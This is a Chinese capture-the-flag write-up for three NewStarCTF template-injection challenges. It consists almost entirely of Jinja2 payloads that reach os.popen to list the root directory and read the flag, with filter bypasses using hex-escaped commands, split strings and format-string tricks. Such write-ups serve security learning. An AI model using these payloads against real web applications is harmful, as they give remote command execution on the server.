[NewStarCTF 公开赛赛道]SsTi

[NewStarCTF 公开赛赛道]BabySSTI_One

过滤了常用的那几个关键词,但是并不是很影响我的姿势

{{cycler.next.__globals__.__builtins__.__import__('os').popen('ls /').read()}}

{{cycler.next.__globals__.__builtins__.__import__('os').popen('tac /f*').read()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

{%set ls='\\x6c\\x73\\x20\\x2f'%}{{cycler.next['__g''lobals__']['__b''uiltins__'].__import__('os')['p''open'](ls).read()}}

{%set ta='\\x74\\x61\\x63\\x20\\x2f\\x66\\x2a'%}{{cycler.next['__g''lobals__']['__b''uiltins__'].__import__('os')['p''open'](ta).read()}}

这个payload能看懂吧，就是一个16进制的ascii绕过，还是能接受的

[NewStarCTF 公开赛赛道]BabySSTI_Three

{{cycler.next['%s%s'%('%s%s'%(('%c'%95)*2,'g''lobals'),('%c'%95)*2)]['%s%s'%('%s%s'%(('%c'%95)*2,'b''uiltins'),('%c'%95)*2)]['%s%s'%('%s%s'%(('%c'%95)*2,'import'),('%c'%95)*2)]('os')['p''open']('\\x6c\\x73\\x20\\x2f').read()}}

{{cycler.next['%s%s'%('%s%s'%(('%c'%95)*2,'g''lobals'),('%c'%95)*2)]['%s%s'%('%s%s'%(('%c'%95)*2,'b''uiltins'),('%c'%95)*2)]['%s%s'%('%s%s'%(('%c'%95)*2,'import'),('%c'%95)*2)]('os')['p''open']('\\x74\\x61\\x63\\x20\\x2f\\x66\\x2a').read()}}